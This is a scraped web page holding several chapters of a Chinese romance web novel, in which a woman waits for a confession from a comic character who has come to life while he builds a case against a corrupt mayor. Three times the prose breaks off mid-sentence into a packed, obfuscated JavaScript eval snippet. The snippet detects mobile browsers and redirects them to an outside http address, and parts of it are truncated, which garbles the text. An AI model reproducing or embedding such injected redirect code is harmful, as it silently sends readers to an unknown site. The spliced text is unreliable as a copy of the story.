这让她想起不久前自己是如何被它们欺压,又被包裹着几乎要喘不上气来。 触电似的移开视线,只觉得耳根更热了。 “怎么气鼓鼓的。”诺特斯饶有兴致地盯着她的脸,手掌抚上脸颊,拇指轻轻刮蹭着,“我弄疼你了吗?” 她听了只觉得脑袋里嗡嗡作响,乌龟一样缩进被子里。 这家伙怎么能那么自然地说出这么……这么……不知廉耻的话?! 然而,她刚缩进被窝里,就感觉身体一下子腾空了,被连人带被搂紧了怀里。 一只手钻了进来,先是碰到了膝盖内侧,而后粘住了,向上攀爬。 男人的话语宛若恶魔的低语,“是哪里疼……这里吗?” 庄森芽一个激灵,蹬开被子就逃。 离开温暖的被窝,身体凉飕飕的,她低下头,这才想起来自己什么也没穿。 脸一下子就红透了,反身想要扑回羽绒被里,然而诺特斯却把它一下子抽走了,随手扔去一旁。 结果就是,她扑进了对方的怀中。 像自投罗网的猎物。 两只有力的手臂锁在身后,她挣动了一下,发现不如不动,摩擦带来的感觉让人脑袋都有些宕机。 现在就连身上也开始泛红了。 “放开……我要穿衣服……”睡醒之后第一次开口,她这才发觉自己的声音有多沙哑,到了这一刻,脸上已经可以蒸鸡蛋了。 诺特斯抱着她,发出一声心满意足地喟叹,用脸颊蹭开她耳旁的头发,将自己同样沙哑的声音递进去,“给我一个吻。” 她反应了一下,明白过来这是在提条件。 有点别扭地不想让对方称心如意,归根结底的理由还是之前的那一个,她现在连一句告白都没听到,不可能再给他尝到什么甜头。 于是假意将自己的唇凑上去,骗对方投入地闭上眼睛。当距离只有咫尺之遥的时候,露出凶残的虎牙,狠狠咬了一口。 “嘶。”诺特斯发出吃痛的声音,伸手触碰自己的伤口。 趁对方一只手捂在嘴上,庄森芽从松懈的怀里挣脱出来,又钻回床角的被子里,像粽子一样把自己裹起来,只留一个脑袋在外面。 四下看去都没有衣物的影子,不知道男人把它们收到哪里去了。她想直接奔向衣柜,可是一个人形的障碍挡在面前,直接硬闯的话肯定又会被擒获。 诺特斯用拇指蹭了一下嘴唇,盯着自己的指尖,倒是没出血。 紧接着,他目光如同猎鹰一样刺过来,带着侵略的光,嘴角也危险地上翘,“这么活蹦乱跳的,看来不是因为身体难受而生气。” 她感受到一丝危机感,往角落缩了缩,态度却不肯软化,甚至还不怕死似的下达命令,“我要衣服,凭什么穿个衣服还要献吻,快点给我拿过来。” 诺特斯盯着她,那视线锐利得仿佛能够穿透被子,将她看得一干二净。 这片刻的沉默将他的意图彰显无疑,他明显在纠结要不要把她从那累赘的羽绒被里拖出来,给她一点没什么实际伤害但难忘的教训。 庄森芽察觉出他的意图,攥紧了手里的被角,拔高一些音量,鼓足了气势说:“你,你最好老实一点,不然……” 她说到这里,突然卡住了。 不然什么? 在漫画已经完结、诺特斯彻底属于这个世界的当下,她已经完全失去了掣肘他的筹码。 眼看对方行动起来,向自己的方向逼近,她心脏都提到了嗓子眼。 不要啊,昨晚的事情再来一次,她会彻底崩溃的,身心都是。 脑海极速地旋转,她搬出一个不知能否奏效的威胁,“你再敢做什么,我就向爸妈告状!” 诺特斯的动作停顿了一下,而后就仿佛没听到一样,行动继续。 果然不奏效!她心里绝望地哀嚎。 以前搬出父母的话,还有点作用来着,可那已经是不知多久之前的事情了。 不知不觉,诺特斯在这个家的地位早已改变,庄洪成对他的认可肉眼可见,祁欢对这个年轻人的喜爱也一早就尽显无疑,无伤大雅的小报告已经无法动摇他稳固的地位了。 说来,这也是令人不满的一点。 为什么他连一句喜欢都还没说过,就已经开始攻略她的爸妈了啊!? 顺序真的不太对劲吧?? 胡思乱想的时候,男人已经来到了近前。 一只邪恶的手伸过来,她紧张地闭上眼睛。 完了完了完了,说着不给对方好果子吃,到头来自己还是要变成那个果子。 紧绷之中,她感觉自己的后颈被搂住了,唇瓣上传来轻柔的触觉,蜻蜓点水似的,转瞬即逝。 而后,那股漆黑的压迫散去了。 半晌都没有再感受到任何触碰,她疑惑地睁眼,发现诺特斯不知何时已经下了床,打开衣柜挑拣着。 片刻,他拿着一套睡衣睡裤回来了,是白色的珊瑚绒,看起来很温暖。 他坐在床边,一手递过来,嘴上抱怨着,“一个吻都不肯施舍,真吝啬啊。” 原来真的只是想要一个吻。 庄森芽瘪瘪嘴,把珊瑚绒睡衣接过来,嘴上嘀咕着,“没有你吝啬。” 诺特斯扬扬眉,坐在自己的专座上,拿起先前被他放在桌子上的陶瓷碗,里面装着的是皮蛋瘦肉粥,“我哪里让你觉得吝啬?” 庄森芽抱着睡衣钻进被子里,在里面蠕动着,把衣服换好了,这才出来,她还是一副气鼓鼓的模样,“你自己清楚。” 他摆出冥思苦想的样子,半晌后醒悟,“喔,你是在向我索要银行卡吗?可以,等什么时候有空去一趟希腊,我就带回来上交。” 啊啊,这都在说什么。 她已经无力吐槽了。 没到那一步,他们还远远没到那一步呢! 为什么这家伙偏偏就把最重要的环节忘了? “我才不要你的钱,你才有几个钱。”她嫌弃地说。 他才来到这个世界上多久?不可能这么快就站稳了脚跟。虽然成立了一个乐队,而且也小有名气,还能跨国巡演,但…… 但…… ……听起来不太像没钱的样子。 她突然想起他送的那台价值六万的笔记本电脑,他送出手的时候看起来一点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14867856|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肉疼的样子都没有。还有诺特斯从裴佑哲那里买下的那条限量版星空手链…… 庄森芽一下子陷入了沉思。 诺特斯笑了一声,没反驳她的话,搅和着碗里冒着热气的粥,“这个也不是,那你究竟要什么呢。” 庄森芽愤愤地盯着他,不肯开口。 这种事要怎么开口?总不能说,‘你还没对我表白呢,我们都没确定关系,可是那档子事都做了,你不应该把这个环节补上吗’。 或许这个世上有能说出这句话的勇士,但那个人一定不是她。 她只能缄口不语,像每一个不肯袒露心声的小怨妇一样,生气地等待对方开悟。 粥凉得差不多了,诺特斯乘出来一勺,吹了吹,递上来。 庄森芽看着那朴素的瘦肉粥,虽然肚子咕噜噜叫,但嘴上还是抱怨地说:“为什么是粥啊。” 她又不是什么病号。 “你熬了一个大夜,昨晚又什么东西都没吃,身体正虚弱,当然是先吃点清淡的过渡一下。” 她听了,不禁腹诽:昨天把她抱上床之前怎么不见他这么体贴。 诺特斯用勺子碰了碰她撅起的嘴唇,后者实在受不住香气的诱惑,妥协地张开嘴。 食物又没有过错。 她放弃了从对方的手中争夺进食的自主权,反正有人喂,为什么要自己动手? “你睡着的时候,我接到了一通电话。”这个时候,像忘了片刻之前的话题似的,诺特斯突然说起了正事,“是机承望打过来的,他很关心我这边的进展。” 机承望……庄森芽在心里念叨着这个名字,回忆了一下前因后果。 自家公司陷入财务困境,起因是原材料钑的价格被属于腾滨集团的公司抬得太高,形成了垄断。 腾滨集团的董事长裴正仗着和上茂市市长张简栾的关系,胡作非为,并且没有人可以限制他。 而诺特斯调查出来,这个张简栾当年能够当选市长,是因为诬陷了上一任市长,机承望。 只要能证明当年那起食品安全事件有张简栾在其中作梗,那么机承望就能洗脱罪名,回到上茂市夺回他市长的位置。 如此,和张简栾关系紧密的裴正也会受到牵连,起码没有手段再通过垄断的方式让庄森芽父母的公司如此叫苦不迭了。 在画《灵月十四》的大结局之前,诺特斯说他已经找到了充足的证据,现在只缺一个关键证人。 虽然对他贸然岔开话题有点不爽,但这好歹也是关乎她家公司起落的大事,对方这么上心,她也自认不能耍小性子。 “你接下来要去找证人吗?”庄森芽问他。 “嗯,接下来几天应该都要忙这件事。” 他就像把她家的事当成了自己的事情一样,即便是在已经不和她存在任何‘契约’的当下,依然不求回报地践行着自己的承诺。 “可是……”庄森芽看着男人的胸口,那里空空荡荡的,曾经挂着的一条长挂坠已经消失不见了,“你现在已经是普通人了,是不是没办法像以前一样潜入调查了?” 诺特斯听到她的话,露出一个狡黠的笑容,他一时没有回答,又喂了她一口粥,而后暂时把碗搁置在了一旁,“我变成普通人了,你很失望吗?” 说失望多少是有一点的,因为这份能力别提有多便利,就算不是她亲自掌握的,但是能指使一个拥有这种变态能力的人,也爽快得很。 不过没了也好,这样,面前这人就不能仗着自己的能力肆意妄为了,尤其是当两人闹小矛盾的时候。 庄森芽有些控制不住自己的表情,几乎想笑,有种终于大仇得报的快意。 165. 告白计划,但被动式 这个发展,也就是说,自己将来再被他激怒到想动手打人的时候,诺特斯可就没法通过隐身逃避了——虽然他似乎从来没躲过,都是硬生生接下来,但转瞬又把自己复原。 “倒也没有很失望。”庄森芽不以为意地说,“不如说少了一个隐患,不用再天天担心你是不是会危害社会了。” “这还真是慷慨仁慈。”诺特斯感叹,“第一个想到的居然是社会的安稳。” “干嘛,正常的良好市民都会有这样的责任心吧。” 对方的模样有点无奈,口吻听起来像是自言自语,“……我一定是跟你在一起待久了,所以也染上了这些无可救药的陋习。” “说什么呢。”她听懂了他在阴阳怪气些什么,伸腿踹了一下对方的膝盖,“这么嫌弃,早知道不让你当那个救世主了。” “可惜我已经是了。”他耸肩,捉住她的脚踝,让她的腿搭在自己大腿上,“多谢你,让哈兰那么煞费苦心地把我塑造成一个大善人。” “?”她困惑,“这和哈兰有什么关系?” 诺特斯眨眨眼,“不是你这么设计的?” “我就只是让人制造了一个‘三月毁灭’的预言,然后让你打破了那个世界毁灭的预言,大概用了两页画纸不到。”庄森芽想了想,补充说,“传奇嘛,刻画得越少越让人印象深刻。” “……”诺特斯微微叹了口气,像是对什么感觉到无语,“我猜你也画不出那么离谱的剧情。” 听起来对方好像在莱王星上遭遇过什么十分无奈的事情,庄森芽一听就来了兴致,追问道:“什么离谱的事?” “说来话长,改天再和你讲吧。” “我现在就要听。” 诺特斯却是把她的腿挪下去,站了起来,转移话题,“我和机承望约好了见一面,马上就得走了,你好好在家待着,好吗?” 他起身,她也起身。 然而没等说什么,身体突然开始不适,像是被人暴打了一顿,后知后觉疼起来。 她瘫坐回床上,本来以为自己天生圣体,结果看来并不是这样。 不过也不能说没有预兆,昨晚看到对方大小的时候,就知道下场会很惨。 果不其然。 庄森芽只觉得当下心情很糟,想听的话半个字没听见,想听的故事也片段未闻,被对方折腾成这样,他还要抛下她出门,虽说是为了她家的事情,但还是让人有点郁闷。 见她不适的模样,诺特斯在身前蹲下来,“我等下把吃的都拿进来,再躺一阵吧。” “诺特斯,这都怪你。”她埋怨着。 “是我的错。”他露出一个安慰性质的笑容,摸了摸她的脸蛋,摆出认错的态度,“下次我会收敛一点的。” 庄森芽一听,差点没一口气没上来。 下次,他还想有下次? 在他意识到缺少了什么环节之前,休想! 她哼了一声,往床上一倒,用被子把自己的脸蒙起来,“要走就快点走,我要休息。” 话音落下后,房间内响起了脚步声,紧接着是开门的声音,诺特斯似乎是去把饭菜都端了进来,临行前留下最后一句话,“两个小时内我就会回来。” 庄森芽没回答他,关门声响起,房间安静了下来。 可恶。 必须想个办法让他把‘我喜欢你’说出口。 她在被子里咬牙切齿地想。 连‘没你就不想活了’那种肉麻的话都说了,为什么这么简单的一句就是不说? 他是不是故意的? 就吊着她,纯吊,硬吊。 她服了,因为她发现自己真的被套牢了。 爬起来往肚子里塞了点东西,诺特斯的厨艺还是一如既往地令人赞叹。 他究竟是在哪学的做菜?居然口味什么的都很中式,简直匪夷所思。 吃完了本想着去洗个澡,但身上干爽的感觉告诉她,身体早就被清洗过了。 不愿仔细去想这是怎么回事,她倒头就睡。 缺了一整晚的觉,可不是睡几个小时就能补回来的。 不知过去多久,半梦半醒间,她听到有人说话,爸妈似乎回来了,诺特斯也在,他们在客厅交谈着什么。 场面听起来很和谐,就像是一家人围坐在电视机前,轻松愉悦地就电视节目聊上两句。 她断断续续地睡了又醒,期间还迷迷糊糊坐起来吃了个豆包,也不知道怎么回事,一整天都困得不行。 夜色再度降临,星云眨眼看她。 庄森芽在床上翻了个身,很快又睡了过去。 第二天一早,她自然醒,在床上磨蹭了一阵子,伸了个懒腰坐起来,看到桌子上的餐碗已经被收走了,遮光窗帘不知何时也被放了起来,使得卧室中的沉眠免受朝阳的侵扰。 她下了床,感觉精神饱满许多,推开门走出去,看到一个人影坐在沙发上。 那是诺特斯,他一手拿着手机,一手端着装咖啡的马克杯,翘着二郎腿,轻松惬意,阳光洒在他的身上,将那身白衬衫映照得仿佛在发出淡淡的荧光。 看到她醒了,他放下手里的东西,起身凑上前来,自然而然揽住她的腰,磨磨蹭蹭讨要一个早安吻。 庄森芽不想给,可是隐约在客厅的另一侧看到老妈一闪而过的身影,听到老爹在衣橱里翻箱倒柜的声音,于是为了摆脱纠缠,还是敷衍地碰了一下他的嘴唇。 从前天晚上开始,这个人好像就对接吻上瘾了,干什么都要亲一下,简直让人头大。 以洗漱作为借口挣开他,庄森芽一头扎进洗手间,正好碰到正在抹护肤品的老妈。 祁欢给自己的女儿让了个位置,问她:“宝贝今天不上课啦。” 上课……她有点提不起兴致。 一朝不上课朝朝不上课,曾经她是个落下一堂课就会焦虑不已的好学生,现在翘课已经是家常便饭,临到期末了也一点紧张感没有。 不是对成绩胸有成竹,而是心态有点摆烂了。 人的精力是有限的,她就是没办法同时应付这么多事,总要有取舍,被搁置的是学业也无可奈何,毕竟其他的事情更加重要。 而且,以她上半学期的刻苦努力,怎么说也不会是脑袋空空,挂科是远远不至于的。 大概吧。 “今天暂时先不去了……”她说。 其实今天没什么事,回学校一趟也好,但是就是没那个心情。 心里有个郁结,解开之前她可能是没办法静下心来了。 “妈,我想问你一个问题。” “什么?” 庄森芽从洗手间探 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14867857|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出头去,看了眼客厅,那个男人又回到了刚才的位置上,坐在沙发里专心致志地玩手机。 于是她凑近祁欢,尽量压低声音,问:“该怎么让一个人主动向你表白呢。” 她实在走投无路,向老妈这个军师征询意见。 祁欢抹面霜的动作一顿,反应过来什么似的,眼睛睁大了,一副兴致盎然的模样,但紧接着又有些困惑。 庄森芽赶紧给她比了一个噤声的手势,生怕对方一嗓子把她的小心思全都嚎出去了。 祁欢连连点头,表示她懂,面霜也顾不上抹了,揽过自己女儿的肩,像在密谋什么大事,在她耳旁低声问:“还没表白呢?” “没有。” “我以为你俩都好上几个月了。” “以前真不是。”她说,声音越来越弱,“但现在……我也不知道。” “你们到哪一步了?” 好问题。 到哪一步了,如果按照稍微传统保守一点的流程,他们应该是把结婚之后的步骤也都走了。 在老妈面前实在难以启齿,她支支吾吾,但求助最开始又是自己发起的,不能说算就算了,“反正就是……牵手然后……” “没事宝贝放心大胆跟妈说,”祁欢十分开放,拍拍胸脯,怂恿道,“妈跟你爸高中就在一块了,你这还比我晚了几年呢。” 这些话莫名给了她一些安慰和鼓励,庄森芽继续说了下去,“也亲了,还……反正就是一些我觉得在关系还没确定之前不能做的事。” “噢。”她了然,开始审慎地分析,“按理来说不应该呀,诺特斯给人印象挺有责任心一个人,理论上不会让你这么纠结的。” “但他现在就是什么也不表示。” “类似告白的话也没有?”祁欢问。 “没有。”她笃定,“他就说了什么没有我就活不下去了之类的话。” 祁欢脸色一愣,像是被打了个措手不及,“呃。” “还说什么要把工资卡上交。” “……” “他为什么就是不说喜欢我?” 祁欢语重心长,“芽芽……有没有可能,我是说,只是一种猜测啊……他已经表白了呢?” “什么时候?”庄森芽眉头都拧紧了。 “他有没有说过想跟你永远在一起一类的话?” 她回想一番,记忆里并不是一片空白,原话好像是‘想延续这场相识到永远’,当时她有点混乱,所以记不太清了。 “有吧。”庄森芽说。 “你看。” “可是他不说喜欢,我怎么知道他是不是出于别的原因才想跟我在一起。”她反驳道。 祁欢显然有点不知道该说什么好,她轻叹一声,片刻后很费劲地说:“好……!你想听一句喜欢是吧,妈教你。” 庄森芽侧耳倾听。 “他不是说过想跟你永远在一起吗?你就问他为什么这么想。” “要这么问?” “就这么问,追根问底。”祁欢拍拍她的肩,“快去试试。” “啊,现在?”她露怯。 祁欢一副‘当然’的表情,“看你魂不守舍的样子,想必这个问题不解决,你也没心思干别的。” 老妈说的也是。 于是她决定试试。 166. 最佳辅助,但主C青铜 洗漱过后,庄森芽离开洗手间,轻手轻脚来到客厅。 诺特斯还在原位坐着,浑然不知房间的另一端发生了怎样的谈话。 他的咖啡已经喝没了,但空杯子还在手里提着,盯着手机的模样很认真,似乎顾不上做别的。 这么直接走过去问,好像有点突兀。 庄森芽环视一圈,没发现什么趁手的道具,于是钻进厨房,洗了点葡萄出来,装作不经意的模样坐在他身边,把装葡萄的沥水盆放在茶几上。 “在干什么?”她佯装随口一问。 诺特斯把手机侧过来一些,上面密密麻麻的都是字,似乎是一份很正式的文件,“当年食用盐食品安全事件的判决书,上面写明了哪些人需要对这件事负责,判决结果是什么。” “哦……”原来是在忙正事,她突然觉得自己想问的问题有点幼稚,更是张不开口了,只好先干巴巴聊机承望的事,“你和隔壁的市长先生……昨天都说什么了,进展还顺利吗?” “我们核对了一下现有的证据,七七八八了吧。证据链充分了之后,再加上还没搞定的人证,就能直接展开抓捕了。” “抓捕。”她重复着这个字眼,“抓谁?” “张简栾。”诺特斯说,“或许顺便也能把裴正抓了,当年的食品安全事件他也掺和了一脚,但不是主谋。” 看对方如此确信,庄森芽也对事态的进展深信不疑。 只是没想到会闹这么大,从光曙公司的财务困境开始,现在居然已经升级到了抓捕当下的上茂市市长的份上。 这可不是市民敢想的事,还得是同样拥有市长这种份量的人和一些天不怕地不怕的人才做得出来。 诺特斯的目光落在茶几上摆着的沥水盆上,里面的葡萄晶莹剔透,亟待品尝,“是给我的?” “嗯。” “喂我。” 庄森芽皱眉,“你没手?” 诺特斯晃了晃手里的手机,“占用着呢。” “另一只。” 他挺身而起,一把搂住她的腰,下巴搁在肩膀上,“也占用了。” 好好好,玩这套是吧。 不过这次她大人有大量,暂时不跟他计较,也是看在对方正在为了爸妈公司的事情忙前忙后的份上。 挑了颗饱满的葡萄,送进对方嘴里,又拿来骨碟接住葡萄皮和葡萄籽,庄森芽自认伺候到位了,心里的亏欠感少了几分,也能问出那个不着调的问题。 “有件事我想问你。” “嗯哼。”诺特斯十分受用地咀嚼着酸涩甜美的葡萄,一颗吃完了就索要下一颗,把她的肩膀当靠枕,边吃边盯着手机,还在研究那份文件。 “你,前天晚上说……”她困难地张口,只觉得难以启齿。 诺特斯到底是怎么将那种话说出口的? 庄森芽:“说什么延续我们的相识直到……原话是什么来着?” 他扭过头来,看了她一眼,目光流露出一丝困惑,“我记得我是在你清醒的时候说的。” 她有点脸红,反而想起了那些不清醒的记忆。 “我不是忘了,我只是……不明白你为什么要那么说。”有点破罐子破摔,她干脆直接了当地问。 诺特斯目光又落回手机上,音色平静,“因为想和你一直在一起。” “为什么?” “因为我没你不行。”指尖翻动两下,他像在回答一个类似今晚应该吃什么的问题,一点难为情的迹象都没有,就那么大方地承认了。 反观庄森芽,屏息凝神,生怕自己开始吵嚷起来的心跳声被近在咫尺的人发觉。 但她没有忘记老妈的四字教导,‘追根问底’。 于是又开口,“为什么没我不行?” 诺特斯又转过头来,像是疑惑她的执着从何而起,四目相接的时候,他似乎得到了什么答案,狡黠地笑起来,“啊……我知道你这是在问什么了。” 话音落下之后,他放下手机,搂着膝窝将她抱进怀里,拉近两人之间的距离,微微张口,一个答案就在舌尖。 她绷紧嘴唇,盯着对方的眼睛,不由得有些紧张。 要来了,他要把那四个字说出口了。 “没你不行是因为……”他声音越来越弱,最终只剩耳语,“因为我——” “闺女你看爸今天这身出门怎么样!”庄洪成不知从哪冒了出来,一身拉风的长款羽绒服,两手叉腰站在客厅。 “!”庄森芽吓得一下子推开诺特斯的脸,从他怀里挣出来,装作没事人一样捡出一颗葡萄,手指哆哆嗦嗦地剥葡萄皮,“嗯,爸,好看啊,挺好看的。” “我也觉得好看,可是你妈不让穿,说什么穿出去粘花惹呜呜——”他话没说到一半,突然闪出一个凄厉的身影,将他拖回了卧室。 隐约传来的是祁欢训斥的话语,“你看着点气氛啊!” “啊?怎么了?”紧接着是庄洪成茫然的声音。 客厅这边,庄森芽放下那颗打掩护的葡萄,转身去看诺特斯的情况。 男人被他推开之后,像牙痛一样捂着自己的侧脸,有点闷闷不乐地将胳膊肘驻在膝盖上,手机也不看了,自己往嘴里扔了颗紫葡萄。 “你刚才要说什么?”她问。 “……”诺特斯没回答,嘴上叼着一块干巴巴的葡萄皮,上下摆动着。 她拿来骨碟,把他嘴里的东西接走了,让他得空说话,她再次追问,“我刚才没听见。” “我要说什么……”他嘀咕着,牙齿的张合导致撑在掌心的脑袋也上上下下,“我忘了。” 她一听就急了,“你怎么能忘呢。” 诺特斯的目光看过来,金棕色的眼睛打量着她,“你觉得我要说什么?” “你……”她语结,“你不说算了。” 庄森芽腾地站起来,往自己卧室走。 她刻意走得慢了一些,还临时变卦去厨房逛了一圈,从冰箱取了瓶饮料出来,这才来到自己卧室门口,又观察了一阵墙上挂着的温度计,可是整个过程,沙发上的男人就像哑了一样,半句话也不说。 可恶! 她愤愤回到自己房间,砰一声关上了门。 一屁股坐在转椅上,面前摆着的是他送她的那台高性能笔记本,庄森芽看着就来气,抡起拳头就要砸,但又心疼砸坏了,只好轻飘飘碰了一下。 抱臂在自己的胸前,感觉眼前所有一切都变成了假想敌。 爱说不说,不说那就这样吧! 她又不是没有这一句喜欢就活不下去。 明天太阳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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家门口传来开关门的声音,房屋内趋于安静。 庄森芽拿起一片西瓜,边啃着,边思索老妈给出的宝贵建议。 她觉得可行。 本来拐弯抹角也不是她的性格,能直接问清楚的话当然更好。 但刚才的火气还没消,现在主动出去搭话是不可能的。 于是她开始等。 左等右等,等不来敲门的声音。 这个诺特斯,就不怕她一个人在房间里憋出什么毛病来吗? 耐心消磨得很快,于是她开始制造噪音,像试图引起他人注意的小婴儿那样。 先是反复开关衣柜,发出重复又单调的声音。 没效果。 用装西瓜皮的碗在桌子上翻来覆去地敲。 门外没动静。 这家伙绝对是聋了!庄森芽在心中愤恨地想着。 来到床边上,她抓起枕头,把团在一起的被子当成是泄愤的对象,奋力不停地往上砸,嘴上还在抱怨。 “叫你不说,装聋作哑,要你好看!” 她拿枕头发泄半天,一回身,看到诺特斯站在门口盯着她。 167. 梅开二度 庄森芽当即愣住了,顿时有些结巴,“你、你什么时候进来的?” 面对这一床鸡毛,还有一个暴怒的小人,诺特斯模样很平静,像是见惯了大风大浪,“饿了?” “什么……”她一时没反应过来对方在说什么。 “你这样子像是饿了,人饿的时候就会暴躁。”他说着,转身就走,“先把葡萄吃了垫垫肚子吧,我看看家里还有什么食材。” 她回过神来,又开始生闷气。 什么饿不饿的,没看到桌子上那么一大盘西瓜皮吗? “哦对了。”诺特斯驻足,半个身子重新出现在卧室门口,提起了别的事,“《灵月十四》的完结篇你还没有发表吧?” “没。”她还在置气,短暂地回应。 “调查进入了最终阶段,机承望怕打草惊蛇,想以你的漫画作为掩护,分散裴正的注意力,明天周六能发表出去吗?”他征求地问她。 “可以。” “我会联系纳迪娅和清河,他们有手段给它小小地造势,到时候最终话的热度是越高越好的。” “知道了。”她一屁股坐在床上,没什么好气地回答。 诺特斯又打量了她一番,没说什么,从客厅把那一盆葡萄拿了过来,放在桌子上,然后一头扎进厨房。 庄森芽抱着枕头坐在凌乱的床上,心里也和床面一样乱糟糟的。 太可恶了,这个诺特斯。 一面不给她想要的,一面又在竭心尽力地提供帮助,甚至可以说比他们家人自己都要积极。 简直让人又爱又恨。 为什么就不能让她称心如意?只要听到了那句话,她就再无顾虑了,可以全心全意地和他在一起做任何事情。 她人生从来没碰到过这样的坎,居然因为一句话被绊住了,说出去让人笑掉大牙。 可没有这句承诺或者说告白,她就是不踏实,总觉得对方依然别有目的似的。 不安又阴暗的小心思实在难以约束。 时间过去了很久,厨房里吸油烟机的声音响起又安静,庄森芽强迫自己结束了郁闷的思绪,从卧室里走出去。 诺特斯正在从厨房里往外运送热气腾腾的食物,摆满了一桌子,不知道的还以为要宴请宾客。 “这是干什么?”庄森芽看着那喂猪一样的分量,不解地问。 另一个人慢悠悠端着盘子来回穿梭,像极了某欧洲国家高档落日餐厅里西装革履的服务员,连服饰别人时都是优雅的。 “早餐,午餐,晚餐,你看胃口挑着吃。”他从柜子里拿了只冰杯出来,像调鸡尾酒一样往里倒果汁,“剩下的放冰箱里,饿了拿出来先热一热。” 庄森芽想起来他昨天白天说过,这两天都要忙寻找证人的事情,一直待在家里想必是不可能的。 看着那一桌子饭菜,她有种被圈养起来的感觉。 被这么事无巨细地照顾着,换个人她就欣然接受了,可偏偏这个人是诺特斯,一个甚至连关系都说不清道不明的人。 想到这里,庄森芽开口问他,“你为什么对我这么好?” 诺特斯的声音在厨房中传出来,“因为吃过你做的饭之后,我怕你在家把自己毒死。” 浅浅的红晕漫上脸颊,她的自尊心在叫嚣着,拔高了音量,“说正经的……!” “这就是我正经的心里话。” 她瞪大眼睛,又感觉到身体里愤怒的火苗蹭蹭往上窜。 但强行压了下去,她不是为了发火才开启这番话题的。 在餐桌前坐下来,庄森芽低头拿着一只勺子鼓捣着。 这时候,她想起很久以前两人之间发生过的交谈。 那大概是在一切都还风平浪静的时候,没和学生会主席裴佑哲彻底撕破脸,也没计划着要公开腾滨集团垄断资源的恶劣行径。 那时候,她还在纠结着要画怎样的结局,以及要不要顺应诺特斯的心意让他留在这个世界。 当时她提出一个条件:距离漫画完结还有一个月,这一个月看他的表现。 现在一个月已经过去,考察期结束了,通过试炼的人得到了自己想要的一切。 按理来说都会懈怠吧?去吃喝玩乐尽情享受一番,就像紧张的考试结束,平时再怎么用功的学生会都会想要好好放松一下,这是人之常情。 然而诺特斯就仿佛没这个心理回路,稀疏平常地接受了留下来这件事,前后的态度毫无变化,以前什么样子现在还是什么样,该忙什么还在忙什么。 简直毫无‘人性’。 她的意思是,这种事正常人做不出来。 在一次经过身边送碗筷的时候,庄森芽抓住他的手臂,诺特斯停下了动作,像是被这小小的桎梏封印住了。 “我是想问你,漫画都画完了,科学家也证实你的的确确留在了这个世界,想要的都已经得到了,你……”她抬起头来盯着他,“你在我这里的观察期已经过了,为什么还这么无事献殷勤……?” 她可能用错词了,因为看到诺特斯挑挑眉,脸上露出不赞成的神色。 “你知道你现在像什么吗?”他捏住她的下巴,轻轻晃了晃,“像因为前夫结婚前后态度大相径庭,而担惊受怕害怕下一任还是这样的小怨妇。” “……什么啊。”她甩甩头,晃掉那只手,“你能不能先回答我的问题。” 如果以前的善意和关照都是为了达成自己的目的,那现在呢? 诺特斯沉吟一声,像是叹息,他蹲下来,就在她的膝盖前面,执起一只手,像是个骑士,“我只是做着一直都想做也一直都在做的事情,这么说足够清晰明了吗?” “为什么?”她问,屏息凝神,“我们是什么很特别的关系吗,值得你做这些。” 他勾起嘴角,“你觉得呢,我刚才还在你家里做饭,你觉得我们是什么关系?” “我在问你呢。” “我不知道。” 她有点着急,“你怎么能不知道?” “因为没有人告诉我答案。”他说,用嘴唇碰她的指节,“前天晚上我说完那些话之后,你的反应是什么?” “……”她移开目光,从记忆里谨慎地检索,生怕想起什么让人脸红耳赤的的画面,小声嘀咕,“我能有什么反应……” “你叫我别说了。”诺特斯替她补全对话,而后又说,“今天早上在客厅里,我抱着你,你父亲走过来,你却把我推开了,为什么?” “那是……” “因为你不想被人看见我们亲密。”诺特斯自下而上看着她,连眉毛都耷拉了下去,“现在又来追问我,我们是什么关系,你到底想让我怎么回答呢。” 她一时哑口。 对方的话她听得懂,这是在索求一些回应。 “你是觉得我毫无表示……?”她自己可不这么觉得,随便一想就能从记忆里找到一些证据,“前天你刚回来那时……更激动的人可是我。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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诺特斯见她这幅倔强的模样,放下了盛着鸡蛋羹的勺子,“说不明白,时间不够,我还有一个多小时就要出发了。” 她瞪大眼睛,嗔怪,“一个多小时不够你说话,你语速每分钟一个字吗。” “是担心你没功夫回话。” “什——” 她话音未落,直接被人打横抱起,笔直朝卧室的方向走去。 “!”意识到不妙的庄森芽开始挣扎起来,“你,你要干嘛。” “你总喜欢明知故问。” 她拧着脖子,双手扒在对方的肩膀上,像垂死挣扎的猎物,“放我下来……我要吃饭!” 不可理喻!这人随时随地都能进入状态吗,一点提前量都不打? 而且这才隔了一天,就没有一点冷静期吗?他还是人吗? 下一刻,诺特斯的确把她放下来了,不过是放在了床上。 